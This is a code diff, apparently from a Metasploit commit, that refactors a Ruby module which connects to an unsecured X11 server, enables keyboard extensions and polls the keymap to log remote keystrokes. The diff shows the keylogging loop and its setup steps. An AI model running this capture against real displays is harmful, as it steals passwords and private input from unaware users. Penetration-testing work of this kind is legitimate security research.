@@ -145,13 +145,13 @@ def run
145
145
fail_with ( Msf ::Module ::Failure ::UnexpectedReply , 'Port connected, but no response to X11 connection attempt' ) if connection . nil?
146
146
147
147
if connection . header . success == 1
148
- print_connection_info ( connection , datastore [ 'RHOST' ] , rport )
148
+ x11_print_connection_info ( connection , datastore [ 'RHOST' ] , rport )
149
149
else
150
150
fail_with ( Msf ::Module ::Failure ::UnexpectedReply , 'X11 connection not successful' )
151
151
end
152
152
153
153
vprint_status ( '[2/9] Checking on BIG-REQUESTS extension' )
154
- big_requests_plugin = query_extension ( 'BIG-REQUESTS' , query_extension_call_counter )
154
+ big_requests_plugin = x11_query_extension ( 'BIG-REQUESTS' , query_extension_call_counter )
155
155
fail_with ( Msf ::Module ::Failure ::UnexpectedReply , 'Unable to process response' ) if big_requests_plugin . nil?
156
156
if big_requests_plugin . present == 1
157
157
print_good ( " Extension BIG-REQUESTS is present with id #{ big_requests_plugin . major_opcode } " )
@@ -160,7 +160,7 @@ def run
160
160
end
161
161
162
162
vprint_status ( '[3/9] Enabling BIG-REQUESTS' )
163
- toggle = toggle_extension ( big_requests_plugin . major_opcode )
163
+ toggle = x11_toggle_extension ( big_requests_plugin . major_opcode )
164
164
fail_with ( Msf ::Module ::Failure ::UnexpectedReply , 'Unable to enable extension' ) if toggle . nil?
165
165
166
166
vprint_status ( '[4/9] Creating new graphical context' )
@@ -181,18 +181,10 @@ def run
181
181
182
182
# nothing valuable in the response, just make sure we read it in to
183
183
# confirm its expected data and not leave the response on the socket
184
- begin
185
- packet = sock . timed_read ( X11GetPropertyResponseHeader . new . num_bytes )
186
- packet_header = X11GetPropertyResponseHeader . read ( packet )
187
-
188
- packet = sock . timed_read ( packet_header . value_length * 4 )
189
- X11GetPropertyResponseData . read ( packet )
190
- rescue StandardError => e
191
- vprint_bad ( "Error (#{ e } ) processing data: #{ packet . bytes . map { |b | %(\\ x) + b . to_s ( 16 ) . rjust ( 2 , '0' ) } . join } " )
192
- end
184
+ x11_read_response ( X11GetPropertyResponse )
193
185
194
186
vprint_status ( '[5/9] Checking on XKEYBOARD extension' )
195
- xkeyboard_plugin = query_extension ( 'XKEYBOARD' , query_extension_call_counter )
187
+ xkeyboard_plugin = x11_query_extension ( 'XKEYBOARD' , query_extension_call_counter )
196
188
fail_with ( Msf ::Module ::Failure ::UnexpectedReply , 'Unable to process response' ) if xkeyboard_plugin . nil?
197
189
if xkeyboard_plugin . present == 1
198
190
print_good ( " Extension XKEYBOARD is present with id #{ xkeyboard_plugin . major_opcode } " )
@@ -201,23 +193,16 @@ def run
201
193
end
202
194
203
195
vprint_status ( '[6/9] Enabling XKEYBOARD' )
204
- toggle = toggle_extension ( xkeyboard_plugin . major_opcode , wanted_major : 1 )
196
+ toggle = x11_toggle_extension ( xkeyboard_plugin . major_opcode , wanted_major : 1 )
205
197
fail_with ( Msf ::Module ::Failure ::UnexpectedReply , 'Unable to enable extension' ) if toggle . nil?
206
198
207
199
vprint_status ( '[7/9] Requesting XKEYBOARD map' )
208
200
sock . put ( X11GetMapRequest . new ( xkeyboard_id : xkeyboard_plugin . major_opcode ,
209
201
full_key_types : 1 ,
210
202
full_key_syms : 1 ,
211
203
full_modifier_map : 1 ) . to_binary_s )
212
- map_raw_data = sock . get_once ( -1 , 1 )
213
- # for debugging packet output, uncomment following line
214
- # puts data.bytes.map { |b| "\\x" + b.to_s(16).rjust(2, '0') }.join
215
- begin
216
- map_data = X11GetMapReply . read ( map_raw_data )
217
- rescue EOFError
218
- debug_data = map_raw_data . bytes . map { |b | '\\x' + b . to_s ( 16 ) . rjust ( 2 , '0' ) } . join
219
- fail_with ( Msf ::Module ::Failure ::UnexpectedReply , "Unable to process X11GetMapReply response (EOFError): #{ debug_data } " )
220
- end
204
+
205
+ map_data = x11_read_response ( X11GetMapResponse )
221
206
222
207
vprint_status ( '[8/9] Enabling notification on keyboard and map' )
223
208
sock . put ( X11SelectEvents . new ( xkeyboard_id : xkeyboard_plugin . major_opcode ,
@@ -247,10 +232,12 @@ def run
247
232
printerval = datastore [ 'PRINTERVAL' ] . to_i
248
233
begin
249
234
loop do
235
+ # sleep 1
250
236
break if timeout > 0 && ( stime + timeout < Process . clock_gettime ( Process ::CLOCK_MONOTONIC ) )
251
237
252
238
sock . put ( X11QueryKeyMapRequest . new . to_binary_s )
253
- bit_array_of_keystrokes = X11QueryKeyMapReply . read ( sock . get_once ( -1 , 1 ) ) . data
239
+ query_key_map_response = x11_read_response ( X11QueryKeyMapResponse )
240
+ bit_array_of_keystrokes = query_key_map_response . data
254
241
# we poll FAR quicker than a normal key press, so we need to filter repeats
255
242
unless bit_array_of_keystrokes == last_key_press_array # skip repeats
256
243
translate_keystroke ( bit_array_of_keystrokes , key_map , last_key_press_array ) unless bit_array_of_keystrokes == empty
0 commit comments